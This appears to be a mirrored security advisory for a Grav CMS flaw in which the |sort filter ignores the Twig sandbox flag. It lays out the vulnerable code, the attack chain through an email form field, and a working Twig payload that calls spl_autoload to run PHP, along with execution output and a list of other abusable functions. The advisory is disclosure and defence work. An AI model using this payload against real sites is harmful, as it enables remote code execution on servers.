GHSA-P6QJ-P5M7-F62H
sort() passes isSandboxed=false, so a page editor can call arbitrary PHP functions through the Twig sandbox
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Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P6QJ-P5M7-F62H divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The `sortFunc` wrapper added by the fix for GHSA-xx48-97m4-h7qm hardcodes Twig's `$isSandboxed` argument to
`false`. That flag is the only thing that enforces Twig's Closure-only rule for callables, so inside the
sandbox `|sort` accepts a plain function name where `|map`, `|filter` and `|reduce` correctly refuse. The
remaining guard is a denylist, and it misses `spl_autoload`, which performs an `include`.
Affected versions
HEAD `02b042862a06c9d323d42ce5eb392c81de954851`, which is 2.0.17, and byte-identical to the shipped
`grav-admin-v2.0.17.zip`.
Where it is
`system/src/Grav/Common/Twig/Extension/GravExtension.php:2156-2163`:
function sortFunc(Environment $env, $array, $arrow = null)
{
if ($arrow !== null && (!$arrow instanceof \Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow))) {
throw new RuntimeError('Twig |sort("' . $arrow . '") is not allowed.');
}
return CoreExtension::sort($env, false, $array ?? [], $arrow);
}The second parameter of `CoreExtension::sort(Environment $env, bool $isSandboxed, ...)` is the flag Twig's own
check reads (`vendor/twig/twig/src/Extension/CoreExtension.php:2109`):
public static function checkArrow(bool $isSandboxed, $arrow, $thing, $type)
{
if ($arrow instanceof \Closure) { return; }
if ($isSandboxed) {
throw new RuntimeError(...'must be a Closure in sandbox mode'...);
}The siblings sixty lines above get this right. `filterFunc` (:2068), `mapFunc` (:2088) and `reduceFunc` (:2108)
delegate through `twig_array_filter` / `twig_array_map`, which resolve the flag honestly
(`vendor/twig/twig/src/Resources/core.php:491` calls `twig_resolve_is_sandboxed($env)`).
`findFunc` (:2136) has the same hardcoded `false`, but `find` is not on `allowed_filters`, so only `sort` is
reachable. `sort` is on `allowed_filters` (`system/config/security.yaml:229`).
Chain
The attacker holds page-write (`admin.pages` or `api.pages.write`). They do not need `admin.super` and do not
need `admin.pages_twig`. They save a page whose form frontmatter carries the payload in
`form.process.email.subject`. The bundled Email plugin renders those params as `@EmailVar:`, which
`GravSourcePolicy` sandboxes, and that is the exact vector named in GHSA-xx48-97m4-h7qm and fixed in
GHSA-gh8j-q67c-j53f. No config opt-in is needed; `security.twig_content.process_enabled` stays `false`.
Submitting the form renders the param, `sortFunc` drops the sandbox flag, `uasort` invokes
`spl_autoload($path, $ext)`, and PHP includes the file. The payload carrier is the attacker's own page `.md`
file, which Grav stores verbatim, so no upload is required.
What they gain
Arbitrary PHP execution as the web user, from page-editing rights only. This is the shape the GHSA-gh8j
changelog described as "someone with only page-editing rights run commands on the server".
Proof of concept, executed
Against the released 2.0.17 tree, using the real `Security::buildTwigSandboxPolicy()`:
policy allowedFilters count=106 sort? true raw? false
=== sanity: the sandbox really is the shipped policy ===
|raw -> BLOCKED: Filter "raw" is not allowed in "@Page:/user/pages/01.home" at line 1.
read_file() -> BLOCKED: Function "read_file" is not allowed in "@Page:/user/pages/01.home" at line 1.
|sort(closure) -> RENDERED: 12
--- map with string callable
RESULT: BLOCKED -> The callable passed to the "map" filter must be a Closure in sandbox mode
--- filter with string callable
RESULT: BLOCKED -> The callable passed to the "filter" filter must be a Closure in sandbox mode
--- sort with string callable
RESULT: RENDERED -> pq
sort/string-callable under @EmailVar: -> ok : pq
map /string-callable under @EmailVar: -> err : ...must be a Closure in sandbox mode
=== spl_autoload against the editor's OWN page file (no upload needed) ===
{{ {'a':'/tmp/gravhunt/pages/01.evil/default','b':'.md'}|sort('spl_autoload')|join }}
RCE2.txt => 'executed from the page own .md at 2026-08-07T22:36:05+00:00'Blast radius: of 2146 internal functions, 838 pass `isDangerousFunction` and take two arguments. Besides
`spl_autoload`, I executed `error_log` (log write), `get_headers` (SSRF), `dba_open($f,'n')` (truncated a file
to empty), `openssl_x509_export_to_file` (created a file), and `setcookie` / `setrawcookie`, while `header`
itself is denylisted.
Suggested fix
Resolve the flag the way the sibling wrappers do, `CoreExtension::sort($env, twig_resolve_is_sandboxed($env), ...)`,
in both `sortFunc` and `findFunc`. The denylist behind it is the same allowlist-versus-denylist shape as
GHSA-f8wv-xp27-6gq7 and will keep producing misses on its own.
Minor, not security
`reduceFunc` (:2108) calls `twig_array_map`, so `|reduce` silently behaves as `map`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav |
Corregida | 2.0.18 | — | — |
2.0.18Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-p6qj-p5m7-f62hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
